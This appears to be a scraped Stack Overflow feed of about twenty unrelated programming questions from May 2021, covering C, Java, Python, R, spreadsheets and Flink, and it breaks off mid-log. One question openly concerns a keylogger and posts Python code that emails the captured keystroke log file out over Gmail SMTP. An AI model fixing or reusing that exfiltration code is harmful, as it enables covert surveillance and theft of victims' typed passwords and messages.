Recent Questions - Stack Overflow

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• How to make a input dialog with 2 fields to fill in Intellij plugin
• How to read strings and float of the same line from a file in C
• Email functionality for keylogger not working
• How Monaco Editor completion items provider can wait for async suggestions?
• Simple Java Annotation
• Micronaut gRPC and Micronaut Management
• pgAdmin and terminal: FATAL: password authentication failed for user
• Optimize an objective function and find out the values of the independent variables in Python
• Python: xml.etree ET.findtext , chops the 1st letter of the text
• How do i connect 2 input boxes to a single function in react
• android studio capture image faster
• Delete lines from a string that appears in other string
• How to show/hide button in its click event before and after a synchronous ajax call?
• Interrelating two arrays
• Use range in column values to create new rows in R
• Needed permission to access /dev/diag
• Google Sheets ArrayFormula with Multiple IF / AND / OR Conditions to Return 1 or 0
• Search data in variable table Excel
• Is there any reason to continue reading InputStream if number of read byte is 0?
• How to connect to JBoss EAP 7.3 using VisualVM in OpenShift
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• How to convert UTF8 string to byte array?
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How to make a input dialog with 2 fields to fill in Intellij plugin Posted: 17 May 2021 07:49 AM PDT I use Messages.showInputDialog() to creatre input dialoge, but it only has one field, how to make an input dialog with 2 input fields using Messages?

How to read strings and float of the same line from a file in C Posted: 17 May 2021 07:49 AM PDT I want to read a file in C, that has some data about employees from a company. I'm kind a new in C so i have no idea how to do that The file: Each line has some strings and by the end of each line, there's a float number. I know the size of each string. For ex: The first string is a Name: The string name will have a size of 70 Example: Giovani Albuquerc inoval ciano So, in the file, i will have the name of the employee and the rest of string is composed by spaces. I searched and saw people using fscanf, but with fscanf i can't get the whole name, because the string name can have multiple spaces between, first and second name, third name, etc. Can someone give me some ideas please ?

Email functionality for keylogger not working Posted: 17 May 2021 07:49 AM PDT My code seems fine, I dont get any errors but the email never appears. Where did I go wrong? the bulk of the code for the email functionality is from https://www.geeksforgeeks.org/send-mail-attachment-gmail-account-using-python/?ref=lbp. I have checked it and it all seems fine. Heres the code # From Keylogger code keys_information = "key_log.txt" file_path = "D:\\Python\\advkeylogger" extend = "\\" # Email functionality from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders import smtplib email_address = "#" password = "#" toaddr = "#" def send_email(filename, attachment, toaddr): fromaddr = email_address msg = MIMEMultipart() # look up function of MIMEMultipart msg['From'] = fromaddr msg['To']= toaddr msg['Subject'] = "Log File" body = "Body_of_the_mail" # make body of email msg.attach(MIMEText (body, 'plain')) # attach body to message filename = filename attachment = open(attachment, 'rb') # open the attachment and read the binary/attachment p = MIMEBase('application', 'octet-stream') # instance of MIMEBase and named as p p.set_payload((attachment).read()) # encode our message encoders.encode_base64(p) p.add_header('Content-Disposition', "attachment; filename= %s" % filename) # add header msg.attach(p) # attach p to msg s = smtplib.SMTP('smtp.gmail.com', 587) # creates SMTP session on port 587 s.starttls() # start TLS for security s.login(fromaddr, password) # Authentication for login to gmail text = msg.as_string() # Converts the Multipart msg into a string s.sendmail(fromaddr, toaddr, text) # sending the mail s.quit() # terminating the session send_email(keys_information, file_path + extend + keys_information, toaddr)

How Monaco Editor completion items provider can wait for async suggestions? Posted: 17 May 2021 07:49 AM PDT Goal: Wait custom suggestions from a fake server response. Problem: I cannot understand how I can tell to Monaco editor completion items provider to wait for async suggestions. Playground example: Go to playground Paste the following code console.log("1. Instantiate a standalone code editor"); const language = "json" const content = `{\n\t\"dependencies\": {\n\t\t\n\t}\n}\n` const options = { value: content, language: language, tabSize: 2 } const standaloneCodeEditor = monaco.editor.create(document.getElementById("container"), options); const sce = standaloneCodeEditor; console.log("2. Declare function to provide a completion items") function provideCompletionItems(model, position) { console.log("Invoking function 'provideCompletionItems'") var textUntilPosition = model.getValueInRange({ startLineNumber: 1, startColumn: 1, endLineNumber: position.lineNumber, endColumn: position.column }); console.log("textUntilPosition:", textUntilPosition) var match = textUntilPosition.match(/"dependencies"\s*:\s*\{\s*("[^"]*"\s*:\s*"[^"]*"\s*,\s*)*([^"]*)?$/); console.log("match:", match) if (!match) { return { suggestions: [] }; } var word = model.getWordUntilPosition(position); console.log("word:", word) var range = { startLineNumber: position.lineNumber, endLineNumber: position.lineNumber, startColumn: word.startColumn, endColumn: word.endColumn }; console.log("range:", range) const mock_serverResponse = [ { label: '"lodash"', kind: monaco.languages.CompletionItemKind.Function, documentation: "The Lodash library exported as Node.js modules.", insertText: '"lodash": "*"', range: range }, { label: '"lodash111"', kind: monaco.languages.CompletionItemKind.Function, documentation: "The Lodash111 library exported as Node.js modules.", insertText: '"lodash111": "*"', range: range }, { label: '"express"', kind: monaco.languages.CompletionItemKind.Function, documentation: "Fast, unopinionated, minimalist web framework", insertText: '"express": "*"', range: range }, { label: '"mkdirp"', kind: monaco.languages.CompletionItemKind.Function, documentation: "Recursively mkdir, like <code>mkdir -p</code>", insertText: '"mkdirp": "*"', range: range }, { label: '"my-third-party-library"', kind: monaco.languages.CompletionItemKind.Function, documentation: "Describe your library here", insertText: '"${1:my-third-party-library}": "${2:1.2.3}"', insertTextRules: monaco.languages.CompletionItemInsertTextRule.InsertAsSnippet, range: range } ] let myCustomSuggestions = []; console.log("myCustomSuggestions:",myCustomSuggestions) setTimeout(() => { const myPromise = Promise.resolve(mock_serverResponse) console.log("myPromise:",myPromise) myPromise .then(response => { console.log("response:", response) response.forEach(e => myCustomSuggestions.push(e)) console.log("myCustomSuggestions:",myCustomSuggestions) return { suggestions: myCustomSuggestions } }) .catch(err => console.error(err)) }, 2000) } console.log("3. Register completion items provider") const completionItemProvider = monaco.languages.registerCompletionItemProvider(language, { provideCompletionItems: () => provideCompletionItems(sce.getModel(), sce.getPosition()) }); Display web developer console (to see log messages) Run the program Type into brackets the word lodash See web developer console Notice that no suggestions are displayed

Simple Java Annotation Posted: 17 May 2021 07:49 AM PDT My friend and I would like to create a very simple Java annotation (for methods) which will print something simple for every method which is annotated. For example: "This method is annotated with MyCustomAnnotation" (We would then like to add a few stack-trace elements to this printout, so it needs to be flexible enough for this). What is the simplest code to achieve this? Our objective is as follows... invoking the following method: @MyCustomAnnotation public static int sayBlahAndReturnOne() { System.out.println("blah"); return 1; } would give the following output: "This method is annotated with MyCustomAnnotation" "blah" How do we achieve this? What would the @interface annotation look like?

Micronaut gRPC and Micronaut Management Posted: 17 May 2021 07:48 AM PDT I am currently in the process of writing up a new application using Micronaut and gRPC. Deployment-wise, I am planning on having this run at a Kubernetes cluster, which in turn means that I would like to enable the management endpoints (for liveliness probes and so on). I am following the documentation here which seem to state that simple adding the management dependency would automatically expose the various endpoints (granted with the appropriate application.yml properties). I have done that, but I am still unable to access any kind of management endpoint. For reference my application.yml looks like so: --- endpoints: health: enabled: true sensitive: false details-visible: ANONYMOUS loggers: enabled: true write-sensitive: false threaddump: enabled: true sensitive: false And my build.gradle file looks like so: implementation("io.micronaut:micronaut-management") What am I missing for this to work properly?

pgAdmin and terminal: FATAL: password authentication failed for user Posted: 17 May 2021 07:48 AM PDT sup guys! I'm trying to create a server local in pdAdmin 4, but everytime i'm trying to create i get this error: Error in pgAdmin in case 'veterano' its my username... my tries to make this run (but doesnt work) Checking if Postgres Service is Installed correctly: $ sudo systemctl is-active postgresql terminal back: active $ sudo systemctl is-enabled postgresql terminal back: enabled $ sudo systemctl status postgresql terminal back: active (exited) $ sudo pg_isready terminal back: /var/run/postgresql:5433 - accepting connections My configuration to pg_hba.conf : local all postgres peer # TYPE DATABASE USER ADDRESS METHOD # "local" is for Unix domain socket connections only local all all peer # IPv4 local connections: host all all 127.0.0.1/32 md5 # IPv6 local connections: host all all ::1/128 md5 # Allow replication connections from localhost, by a user with the # replication privilege. local replication all peer host replication all 127.0.0.1/32 md5 host replication all ::1/128 md5 (every time after change something in pg_hba.conf I run $ sudo systemctl restart postgresql to restart postgress service.) Checking psql and the new superusers: $ sudo -u postgres createuser -s $USER terminal back createuser: error: creation of new role failed: ERROR: role "veterano" already exists if I try psql -U veterano i can login... so i try \du to check list of roles terminal back List of roles Role name | Attributes | Member of -------------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} veterano | Superuser, Create role, Create DB | {} So I try create a localhost server in terminal: $ psql -h localhost -d mydatabase -U veterano -p 5432 terminal back: Password for user veterano: (I put my password maked with ALTER USER veterano PASSWORD 'newPassword';) terminal back error psql: error: FATAL: password authentication failed for user "veterano" I really don't know what to do... I tried everything and still cant create a local server in pgAdmin 4 or directly in terminal. Using Ubuntu 20.04.2 LTS (Sorry for my english )

Optimize an objective function and find out the values of the independent variables in Python Posted: 17 May 2021 07:48 AM PDT I have a profit function, which is my objective function profit. Profit is a function of six independent variables profit = f(x1,x2,x3,x4,x5,x6). It is subject to certain capital constraint. The function is iterated as long as the capital is between two values. My aim is to find the values of the independent variables ( which are real numbers) for which the profit is maximized. Currently, I am manually changing the values of these variables in the code, which uses a dataframe as input, but this method is not efficient and would not yield the optimal result. I thought of using a for loop to iterate over different combination of values for the six variables, but this process would be highly time consuming. Therefore, I wanted to know if there are any libraries in Python that help me with this optimization problem. Also, I would appreciate if you had any suggestions on how to approach this problem.

Python: xml.etree ET.findtext , chops the 1st letter of the text Posted: 17 May 2021 07:49 AM PDT I am trying to parse an XML file (PASCAL VOC dataset format) and save the necessary information. I am trying to exctract information from the "object" element. In order to exctract the name subelement text I use obj.findtext('name'). obj is passed as argument and is the first match from for obj in annotation_root.findall('object'): , where annotation root is the parsed xml file. This is expected to return 'broccoli'. However it returns 'roccoli'. I tried the findtext method with other subelements' of element "object" and it will always chop 1st letter. eg. 'Unspecified' becomes 'nspecified' , '0' returns empty string. I haven't found anything online regarding this issue, it seems like a bug. Any help is appreciated, thanks!

How do i connect 2 input boxes to a single function in react Posted: 17 May 2021 07:49 AM PDT > weightCalc(event) { console.log(event) } > > render() { > return ( > <div> > > > > > > <label> > Stones > > <input type="textbox" name="test" onChange={this.weightCalc}/> > </label> > > <label> > Pounds <input type="textbox" name="test2" onChange={this.weightCalc} /> > </label> i want to be able to use one function with the values from the 2 inputs and then update the state please

android studio capture image faster Posted: 17 May 2021 07:48 AM PDT I have a camera application project and I want to take two photos at 200 ms intervals. but usually takes pictures at intervals of 450-550 ms. How can I take photos faster? I open camera surface view and when ı push to button handler start the timer and when time reach to 60000-millisecond camera capture first image and after 200 ms capture the second image Heading public class camerax_timer extends AppCompatActivity { private TextureView textureView; TextView editColor; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_camerax_timer); editColor=findViewById(R.id.textcolor); textureView = findViewById(R.id.view_finder); textureView.post((Runnable)(new Runnable() { public final void run() { startCamera(); } })); textureView.addOnLayoutChangeListener(new View.OnLayoutChangeListener() { @Override public void onLayoutChange(View view, int left, int top, int right, int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) { updateTransform(); } }); Button button_ileri=findViewById(R.id.ileri_image); button_ileri.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent =new Intent(camerax_timer.this,veri_hesaplama.class); startActivity(intent); } }); } private void startCamera() { PreviewConfig.Builder previewConfig = new PreviewConfig.Builder(); Preview preview = new Preview(previewConfig.build()); preview.setOnPreviewOutputUpdateListener(new Preview.OnPreviewOutputUpdateListener() { @Override public void onUpdated(Preview.PreviewOutput output) { ViewGroup parent = (ViewGroup) textureView.getParent(); parent.removeView(textureView); parent.addView(textureView, 0); textureView.setSurfaceTexture(output.getSurfaceTexture()); updateTransform(); } }); ImageCaptureConfig.Builder imageCaptureConfig = new ImageCaptureConfig.Builder(); final ImageCapture imageCapture = new ImageCapture(imageCaptureConfig.build()); final Button button = findViewById(R.id.button); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { new Handler().postDelayed(new Runnable() { @Override public void run() { imageCapture.takePicture(new ImageCapture.OnImageCapturedListener() { @Override public void onCaptureSuccess(ImageProxy image, int rotationDegrees) { ImageView imageView = findViewById(R.id.img1); imageView.setImageBitmap(imageProxyToBitmap(image)); imageView.setRotation(rotationDegrees); image.close(); } }); } }, 60000); new Handler().postDelayed(new Runnable() { @Override public void run() { imageCapture.takePicture(new ImageCapture.OnImageCapturedListener() { @Override public void onCaptureSuccess(ImageProxy image, int rotationDegrees) { ImageView imageView = findViewById(R.id.img2); imageView.setImageBitmap(imageProxyToBitmap(image)); imageView.setRotation(rotationDegrees); image.close(); } }); } }, 60200); } }); CameraX.bindToLifecycle(this, preview, imageCapture); } private void updateTransform() { Matrix matrix = new Matrix(); float centerX = textureView.getWidth() / 2f; float centerY = textureView.getHeight() / 2f; float rotationDegrees = 0; matrix.postRotate(-rotationDegrees, centerX, centerY); textureView.setTransform(matrix); } private Bitmap imageProxyToBitmap(ImageProxy image) { ImageProxy.PlaneProxy planeProxy = image.getPlanes()[0]; ByteBuffer buffer = planeProxy.getBuffer(); byte[] bytes = new byte[buffer.remaining()]; buffer.get(bytes); return BitmapFactory.decodeByteArray(bytes, 0, bytes.length); } }

Delete lines from a string that appears in other string Posted: 17 May 2021 07:49 AM PDT I have two strings, here an example: String1: example1 example2 example3 example4 and the second string: example5 example1 example25 The idea is to delete all the lines that are in both strings, from the first one, and the result must be something like this: String1: example2 example3 example4 The result must be a string too.

How to show/hide button in its click event before and after a synchronous ajax call? Posted: 17 May 2021 07:49 AM PDT I need to hide the "Pdf export" button and show loading icon on the start of the button click event and then I need to wait for my ajax request to end and reverse the button state. But as it is a synchronous ajax call, hide/show button before it, is not visible in the browser as it is reversed again at the end. $("#ActualButton").hide(); $("#loadingSpinner").show(); $.ajax({ url: "/Controller/Action", type: 'POST', async: false, success: function (data) { } }); $("#ActualButton").show(); $("#loadingSpinner").hide(); Q1: How to make the button change visible in Browser? Q2: Also is there any way to detect completion of ajax call other than making it synchronous?

Interrelating two arrays Posted: 17 May 2021 07:49 AM PDT I want to pick a random verb from one array and display its adverb by selecting from another array using a button. I want to solve the following two issues: Issue 1: How do I make the button clickable only for 5 times, and then display a message "Come tomorrow!". Issue 2: How do I make the button clickable for an infinite number of times and keep showing the random words. Here is my code: const EL_verb = document.querySelector("#verb"); const EL_adverb = document.querySelector("#adverb"); const EL_btn = document.querySelector("#btn"); const verbs = ["Slow", "Quick"]; const adverbs = ["Slowly", "Quickly"]; var i; for (i = 0; i < verbs.length; i++) { var randomVerb = verbs[Math.floor(Math.random() * verbs.length)]; //index for a random verb } const displayWords = () => { EL_verb.innerHTML = randomVerb; }; EL_btn.addEventListener("click", displayWords); .wrapper { border: 1px solid #333; padding: 4px 16px 16px; border-radius: 3px; } #msg { display: none; } <div class="wrapper"> <h2><u>Random Verb and Adverb:</u></h2> <h3 id="msg">Come tomorrow!</h2> <p><b>Verb: </b><span id="verb"></span></p> <p><b>Adverb:</b><span id="adverb"></span></p> <button id="btn" type="button">RANDOM</button> </div>

Use range in column values to create new rows in R Posted: 17 May 2021 07:48 AM PDT I have a data set that looks like this id<-c(333,333,333,342,342,342,342) status<-c('relationship','relationship','married','single','single','married') start<-c(17,19,25,22,36,40) end<-c(18,23,29,29,39,44) dat<-data.frame(id,status,start,end) id status start end 1 333 relationship 17 18 2 333 relationship 19 23 3 333 married 25 29 4 342 single 32 35 5 342 single 36 39 6 342 single 42 44 7 342 married 45 50 My goal is to make a row for each year/age of the person under observation. For example, person 333 is observed from age 17 to 29 (from 17 to 18, this person was in a relationship, 19 to 23 in a relationship), with some gap years (which should be coded unknown). For those whose next episode start year is missing, the end status can be seen as that age's status. But if there is an overlap then the start age status prevails (e.g. if someone is in a relationship 17 to 19, then married 19 to 22, then age 19 should take married as its status). So the end result should look like this: id start status 1 333 17 relationship 2 333 18 relationship 3 333 19 relationship 4 333 20 relationship 5 333 21 relationship 6 333 22 relationship 7 333 23 relationship 8 333 24 unknown 9 333 25 married 10 333 26 married 11 333 27 married 12 333 28 married 13 333 29 married 14 342 22 single 15 342 23 single 16 342 24 single 17 342 25 single 18 342 26 single 19 342 27 single 20 342 28 single 21 342 29 single 22 342 30 unknown 23 342 31 unknown 24 342 32 unknown 25 342 33 unknown 26 342 34 unknown 27 342 35 unknown 28 342 36 single 29 342 37 single 30 342 38 single 31 342 39 single 32 342 40 married 33 342 41 married 34 342 42 married 35 342 43 married 36 342 44 married Is there a way of doing this without writing a for loop?

Needed permission to access /dev/diag Posted: 17 May 2021 07:48 AM PDT I am trying to open the /dev/diag using JNI as open("/dev/diag", O_RDWR | O_LARGEFILE | O_NONBLOCK); but returning errno: 13 Permission denied. What should be done to make this work? When checking the ownership of the /dev/diag using the command ls -l /dev/diag it returns crw-rw-rw- system qcom_diag 244, 0 2015-01-14 01:47 diag and when trying to use the command id i get uid=0(root) gid=0(root) groups=0(root) context=u:r:init:s0 So I thought the problem is related to ownership? Even tried to add these to my manifest with no luck: <application android:sharedUserId="android.uid.system" android:process="system" .../> and to add the permissions referring to https://android.googlesource.com/platform/frameworks/base/+/cd92588/data/etc/platform.xml as: <permission android:name="android.permission.DIAGNOSTIC" /> <permission android:name="android.permission.READ_NETWORK_USAGE_HISTORY"/> <permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"/> <permission android:name="android.permission.LOOP_RADIO" />

Google Sheets ArrayFormula with Multiple IF / AND / OR Conditions to Return 1 or 0 Posted: 17 May 2021 07:48 AM PDT I have to determine whether the total driving time per day, for each driver, exceeds 6 hours or not. There are two columns with start / finish dates and times, but sometimes there are multiple start / finish times for the same day. In this case, the formula should only evaluate to 1 for the first instance of that date. If the dates are different, then it needs to evaluate to 1 if the total driving time for that day is more than 6 hours. I imagine that pice of code in Google Apps Script could potentially resolve this issue, but I have not managed to get anywhere with that. I have managed to go as far as having the formula evaluate to 1 or 0 if neither the DRIVERS nor the START columns are blank, and the difference between START and FINISH is more than 6 hours, and either the previous or the following START date is the same as the one that is currently being evaluated in the array. This is the formula that is able to do what I have just explained: =ARRAYFORMULA(IFERROR( IF(ISBLANK(A2:A),, IF( (B2:B<>"") * ((C2:C-B2:B)*24>=6) * ((DATEVALUE(TO_DATE(INDEX(SPLIT(B2:B," ",1,1),,1)))=DATEVALUE(TO_DATE(INDEX(SPLIT(OFFSET(B2:B,1,0)," ",1,1),,1))))) + ((DATEVALUE(TO_DATE(INDEX(SPLIT(B2:B," ",1,1),,1)))=DATEVALUE(TO_DATE(INDEX(SPLIT(OFFSET(B2:B,-1,0)," ",1,1),,1)))))=1,1,0)))) The issue that I could not resolve is that My formula will evaluate to 1 for all instances of the date that is the same as the previous or the next. The formula does not evaluate to 1 if the date is unique but the driving time is more than 6 hours. For more information, I have attached a version of the sheet that is focused entirely on this issue here. I would highly appreciate it if anyone would be kind enough to help me resolve this issue. Also, if my description was not clear enough, please do not hesitate to contact me.

Search data in variable table Excel Posted: 17 May 2021 07:49 AM PDT In my Excel file, I have data split up over different tables for different values of parameter X. I have tables for parameter X for values 0.1, 0.5, 1, 5 and 10. Each table has a parameter Y at the far left that I want to able to search for with a few data cells right of it. Like so: X = 0.1 Y Data_0 Data_1 Data_2 1 0.071251 0.681281 0.238509 2 0.283393 0.509497 0.397196 3 0.678296 0.789879 0.439004 4 0.788525 0.363215 0.248953 etc. Now I want to find Data_0, Data_1 and Data_2 for a given X and Y value (in two separate cells). My thought was naming the tables X0.1 X0.5 etc. and when defining the matrix for the lookup function use some syntax that would change the table it searches in. With three of these functions in adjacent cells, I would obtain the three values desired. Is that possible, or is there some other method that would give me the result I want? Thanks in advance On the question what would be my desired result from this data: I would like A1 to give the value for the X I'm searching for (so 0.1 in this case) A2 would be the value of Y (let's pick 3) then I want C1:E1 to give the values 0.678... 0.789... 0.439... Now from usmanhaq, I think it should be something like: =vlookup(A2,concatenate("X",A1),2) =vlookup(A2,concatenate("X",A1),3) =vlookup(A2,concatenate("X",A1),4) for the three cells. This exact formulation doesn't work and I can't find the formulation that does work.

Is there any reason to continue reading InputStream if number of read byte is 0? Posted: 17 May 2021 07:48 AM PDT Usually, when I deal with InputStream, and condition of stop reading is when the number of read byte is less than or equal to 0 For instance, InputStream in = new FileInputStream(src); OutputStream out = new FileOutputStream(dst); // Transfer bytes from in to out byte[] buf = new byte[1024]; int len; while ((len = in.read(buf)) > 0) { out.write(buf, 0, len); } However, when I look at the documentation of InputStream https://docs.oracle.com/javase/7/docs/api/java/io/InputStream.html#read(byte[]) Only I notice that -1 if there is no more data because the end of the stream has been reached. I was wondering, should I refactor my code to InputStream in = new FileInputStream(src); OutputStream out = new FileOutputStream(dst); // Transfer bytes from in to out byte[] buf = new byte[1024]; int len; while ((len = in.read(buf)) != -1) { if (len > 0) { out.write(buf, 0, len); } } Will there be any edge case checking for while ((len = in.read(buf)) > 0) is going to cause any unwanted bug?

How to connect to JBoss EAP 7.3 using VisualVM in OpenShift Posted: 17 May 2021 07:49 AM PDT I am trying to connect an application with VisualVM, but VisualVM unable to connect with application: Below is the env: JBoss EAP 7.3 Java 11 OpenShift I have tried to configure it in different ways, but all failed: Config try 1: Use few env variables in script file, so that it could execute first (file contents are mentioned below): echo *** Adding system property for VisulVM *** batch /system-property=jboss.modules.system.pkgs:add(value="org.jboss.byteman,com.manageengine,org.jboss.logmanager") /system-property=java.util.logging.manager:add(value="org.jboss.logmanager.LogManager") run-batch I can see that above commands executed successfully and above properties are available in JBoss config (I verified using Jboss cli command). JAVA_TOOLS_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,address=8000,suspend=n -Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.port=3000 -Dcom.sun.management.jmxremote.rmi.port=3001 -Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Xbootclasspath/a:/opt/eap/modules/system/layers/base/org/jboss/log4j/logmanager/main/log4j-jboss-logmanager-1.2.0.Final-redhat-00001.jar -Xbootclasspath/a:/opt/eap/modules/system/layers/base/org/jboss/logmanager/main/jboss-logmanager-2.1.14.Final-redhat-00001.jar Result: - java.lang.RuntimeException: WFLYCTL0079: Failed initializing module org.jboss.as.logging - Caused by: java.util.concurrent.ExecutionException: java.lang.IllegalStateException: WFLYLOG0078: The logging subsystem requires the log manager to be org.jboss.logmanager.LogManager. The subsystem has not be initialized and cannot be used. To use JBoss Log Manager you must add the system property "java.util.logging.manager" and set it to "org.jboss.logmanager.LogManager" Config 2: JAVA_TOOL_OPTIONS= -agentlib:jdwp=transport=dt_socket,server=y,address=8000,suspend=n -Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.port=3000 -Dcom.sun.management.jmxremote.rmi.port=3001 -Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.util.logging.manager=org.jboss.logmanager.LogManager -Djboss.modules.system.pkgs=org.jboss.byteman,org.jboss.logmanager -Xbootclasspath/a:/opt/eap/modules/system/layers/base/org/jboss/log4j/logmanager/main/log4j-jboss-logmanager-1.2.0.Final-redhat-00001.jar -Xbootclasspath/a:/opt/eap/modules/system/layers/base/org/jboss/logmanager/main/jboss-logmanager-2.1.14.Final-redhat-00001.jar Result: WARNING: Failed to instantiate LoggerFinder provider; Using default. java.lang.IllegalStateException: The LogManager was not properly installed (you must set the "java.util.logging.manager" system property to "org.jboss.logmanager.LogManager") Config 3: • Modify in standalone.conf, where I put all required configuration in this file. Result: WARNING: Failed to instantiate LoggerFinder provider; Using default. java.lang.IllegalStateException: The LogManager was not properly installed (you must set the "java.util.logging.manager" system property to "org.jboss.logmanager.LogManager") Kindly suggest that what is the correct configurations?

python equation calculation with exp() function Posted: 17 May 2021 07:48 AM PDT Here is the equation I'm tryin' to solve: the correct answer most be 0.347 and this is what I got: from math import * exp(((-4.4 + 0.6*(0.6/1.2))*tan(25)) + ((3.07*sin(25))*(log(2*4.29))/(1+sin(25)))) output: 0.6318 I tried to use radians : tan(radians(25)) I keep getting wrong results

python need to convert a "linspace" into something more "logarithmic" Posted: 17 May 2021 07:49 AM PDT Forgive me, I'm always been very bad at math, now trying to learn some python (and some math aswell) by coding. I have this: import numpy as np import matplotlib.pyplot as plt whole = 1 # percentage: 1 = 100%, 0.1 = 10% ecc nparts = 10 # how many "steps" we want to use origin = 100 # starting value we ranged = origin * whole # defining the percentage of our starting value values = np.linspace(origin - ranged/2, origin + ranged/2, nparts * 2) r = [] g = [] for v in values: if v > origin: r.append(v) #reds = f"{v} is {100*(v - origin)/origin}% of {origin}" #print(reds) else: g.append(v) #greens = f"{v} is {100*(v - origin)/origin}% of {origin}" #print(greens) print("reds") print(r) print("greens") print(g) These last print(g) and print(r) output the numerical results. If I plot this, you can clearly see what this does. axes = plt.gca() #origin BLUE plt.axhline(y=origin, color='b', linestyle='-') #reds for i in r: plt.axhline(y=i, color='r', linestyle='-') #greens for i in g: plt.axhline(y=i, color='g', linestyle='-') plot So as you can see given an origin (blue line) and giving a +/- percentage whole it creates n lines ( nparts ) both reds if they are > origin and green if < origin spreading them linearly values = np.linspace(origin - ranged/2, origin + ranged/2, nparts * 2) on this whole percentage from the origin value now my question is: how can I spread those lines on a logarithmic way (don't get me wrong, I'm so bad at math I don't even know if what I'm looking for is logarithmic-related) I would like to achieve something like this (I did photoshop the plotted image). I would really love to keep that whole and maybe being able to add a new variable to "control" this logarithmic spreading basically I need to find a way to find another function to replace values = np.linspace(origin - ranged/2, origin + ranged/2, nparts * 2) to achieve the desired result attached below. I tried both np.geomspace and np.logspace without any success, maybe I'm just bad or maybe I need to find another way to do this. Desired result: desired result Can you help me solve this out? Thanks a lot.

Windowing is not triggered when we deployed the Flink application into Kinesis Data Analytics Posted: 17 May 2021 07:49 AM PDT We have an Apache Flink POC application which works fine locally but after we deploy into Kinesis Data Analytics (KDA) it does not emit records into the sink. Used technologies Local Source: Kafka 2.7 1 broker 1 topic with partition of 1 and replication factor 1 Processing: Flink 1.12.1 Sink: Managed ElasticSearch Service 7.9.1 (the same instance as in case of AWS) AWS Source: Amazon MSK Kafka 2.8 3 brokers (but we are connecting to one) 1 topic with partition of 1, replication factor 3 Processing: Amazon KDA Flink 1.11.1 Parallelism: 2 Parallelism per KPU: 2 Sink: Managed ElasticSearch Service 7.9.1 Application logic The FlinkKafkaConsumer reads messages in json format from the topic The jsons are mapped to domain objects, called Telemetry private static DataStream<Telemetry> SetupKafkaSource(StreamExecutionEnvironment environment){ Properties kafkaProperties = new Properties(); kafkaProperties.setProperty(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "BROKER1_ADDRESS.amazonaws.com:9092"); kafkaProperties.setProperty(ConsumerConfig.GROUP_ID_CONFIG, "flink_consumer"); FlinkKafkaConsumer<String> consumer = new FlinkKafkaConsumer<>("THE_TOPIC", new SimpleStringSchema(), kafkaProperties); consumer.setStartFromEarliest(); //Just for repeatable testing return environment .addSource(consumer) .map(new MapJsonToTelemetry()); } The Telemetry's timestamp is chosen for EventTimeStamp. 3.1. With forMonotonousTimeStamps Telemetry's StateIso is used for keyBy. 4.1. The two letter iso code of the state of USA 5 seconds tumbling window strategy is applied private static SingleOutputStreamOperator<StateAggregatedTelemetry> SetupProcessing(DataStream<Telemetry> telemetries) { WatermarkStrategy<Telemetry> wmStrategy = WatermarkStrategy .<Telemetry>forMonotonousTimestamps() .withTimestampAssigner((event, timestamp) -> event.TimeStamp); return telemetries .assignTimestampsAndWatermarks(wmStrategy) .keyBy(t -> t.StateIso) .window(TumblingEventTimeWindows.of(Time.seconds(5))) .process(new WindowCountFunction()); } A custom ProcessWindowFunction is called to perform some basic aggregation. 6.1. We calculate a single StateAggregatedTelemetry ElasticSearch is configured as sink. 7.1. StateAggregatedTelemetry data are mapped into a HashMap and pushed into source. 7.2. All setBulkFlushXYZ methods are set to low values private static void SetupElasticSearchSink(SingleOutputStreamOperator<StateAggregatedTelemetry> telemetries) { List<HttpHost> httpHosts = new ArrayList<>(); httpHosts.add(HttpHost.create("https://ELKCLUSTER_ADDRESS.amazonaws.com:443")); ElasticsearchSink.Builder<StateAggregatedTelemetry> esSinkBuilder = new ElasticsearchSink.Builder<>( httpHosts, (ElasticsearchSinkFunction<StateAggregatedTelemetry>) (element, ctx, indexer) -> { Map<String, Object> record = new HashMap<>(); record.put("stateIso", element.StateIso); record.put("healthy", element.Flawless); record.put("unhealthy", element.Faulty); ... LOG.info("Telemetry has been added to the buffer"); indexer.add(Requests.indexRequest() .index("INDEXPREFIX-"+ from.format(DateTimeFormatter.ofPattern("yyyy-MM-dd"))) .source(record, XContentType.JSON)); } ); //Using low values to make sure that the Flush will happen esSinkBuilder.setBulkFlushMaxActions(25); esSinkBuilder.setBulkFlushInterval(1000); esSinkBuilder.setBulkFlushMaxSizeMb(1); esSinkBuilder.setBulkFlushBackoff(true); esSinkBuilder.setRestClientFactory(restClientBuilder -> {}); LOG.info("Sink has been attached to the DataStream"); telemetries.addSink(esSinkBuilder.build()); } Excluded things We managed to put Kafka, KDA and ElasticSearch under the same VPC and same subnets to avoid the need to sign each request From the logs we could see that the Flink can reach the ES cluster. Request { "locationInformation": "org.apache.flink.streaming.connectors.elasticsearch7.Elasticsearch7ApiCallBridge.verifyClientConnection(Elasticsearch7ApiCallBridge.java:135)", "logger": "org.apache.flink.streaming.connectors.elasticsearch7.Elasticsearch7ApiCallBridge", "message": "Pinging Elasticsearch cluster via hosts [https://...es.amazonaws.com:443] ...", "threadName": "Window(TumblingEventTimeWindows(5000), EventTimeTrigger, WindowCountFunction) -> (Sink: Print to Std. Out, Sink: Unnamed, Sink: Print to Std. Out) (2/2)", "applicationARN": "arn:aws:kinesisanalytics:...", "applicationVersionId": "39", "messageSchemaVersion": "1", "messageType": "INFO" } Response { "locationInformation": "org.elasticsearch.client.RequestLogger.logResponse(RequestLogger.java:59)", "logger": "org.elasticsearch.client.RestClient", "message": "request [HEAD https://...es.amazonaws.com:443/] returned [HTTP/1.1 200 OK]", "threadName": "Window(TumblingEventTimeWindows(5000), 